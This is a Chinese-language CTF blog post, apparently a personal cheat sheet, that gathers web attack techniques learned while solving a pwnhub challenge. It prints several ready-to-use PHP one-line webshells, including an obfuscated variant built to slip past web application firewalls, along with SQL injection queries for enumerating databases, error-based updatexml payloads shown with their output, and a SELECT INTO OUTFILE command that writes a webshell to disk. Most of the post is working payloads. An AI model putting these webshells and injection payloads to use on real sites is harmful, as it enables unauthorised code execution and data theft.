WEB知识汇总贴

2016/12/18 WEB

今天怼了一道pwnhub.cn的pwn题,然后那道pwn题最终是要利用一个sql注入。。然后今天学了各种WEB姿势,先开个帖,以后碰到以后总结

文件包含漏洞

典型值

index.php?page=xxx;
xxx可能是md5、也可能是文件名
文件包含漏洞可以直接读各种文件,也可以怼php伪协议执行任意php代码,上传webshell

webshell的各种姿势

各种一句话木马

<?php echo system($_POST[1]);?>
---
POST 1=ls /home/ctf

<?php eval($_POST[1]);?>
<?php eval($_POST['passwd']);?> 
可以用菜刀直接连

<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[shell])?>');?>
可以改变木马等输出路径、也可以利用解析漏洞去解析木马

还有各种混淆版本,绕过waf,如

<?php @$_++;
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");         // $__的值为_POST
@${$__}[!$_](${$__}[$_]);?>

也可以base64等各种编码解码。参考资料:

  • http://www.91ri.org/11494.html
  • http://www.mamicode.com/info-detail-1466690.html
  • http://www.shangxueba.com/jingyan/1617540.html

菜刀不管用可以手动测试分析问题,有时候菜刀就是不管用

各种SQL注入

爆数据库名、表名、列名

select concat(group_concat(distinct schema_name)) from information_schema.schemata
select concat(group_concat(distinct table_name)) from information_schema.tables where table_schema=十六进制数据库名
select concat(group_concat(distinct column_name)) from information_schema.columns where table_schema=十六进制数据库名 and table_name=十六进制表名

报错注入

如果能够回显SQL的错误信息,则可以通过报错注入爆各种想爆的信息

select * from TOKENS where PASSWORD = 1 and (updatexml(0x3a,concat(1,(select user())),1))
---
ERROR 1105 (HY000): XPATH syntax error: 'pwnhub@localhost'

insert into TOKENS (TOKENS,PASSWORD) VALUES('222',''+(select TOKENS from BID where TOKENS =1233 and (updatexml(0x3a,concat(1,(select @@secure_file_priv)),1))));
---
ERROR 1105 (HY000): XPATH syntax error: '/var/lib/mysql-files/'
insert into TOKENS (TOKENS,PASSWORD) VALUES('222',''+(select TOKENS from BID where TOKENS =1233 and (updatexml(0x3a,concat(1,(select concat(group_concat(distinct table_name)) from information_schema.tables where table_schema=0x646174657769746866697265)),1))))
---
ERROR 1105 (HY000): XPATH syntax error: 'BID,TOKENS'

更多详见http://www.cnblogs.com/Dleo/p/5493782.html

SQL盲注

bool 盲注

利用SQL注入上传一句话木马

SELECT '<?php eval($_POST[1]);?>' INTO OUTFILE '/tmp/shell.php'

能否上传成功取决于select @@secure_file_priv的值,如果为空则在mysql层面上不做访问控制,如果为某目录则只能写到该目录中

select @@secure_file_priv

其他基础知识

MYSQL相关

CREATE USER 'username'@'host' IDENTIFIED BY 'password';
grant all privileges on *.* to pwnhub@localhost

Search

    Post Directory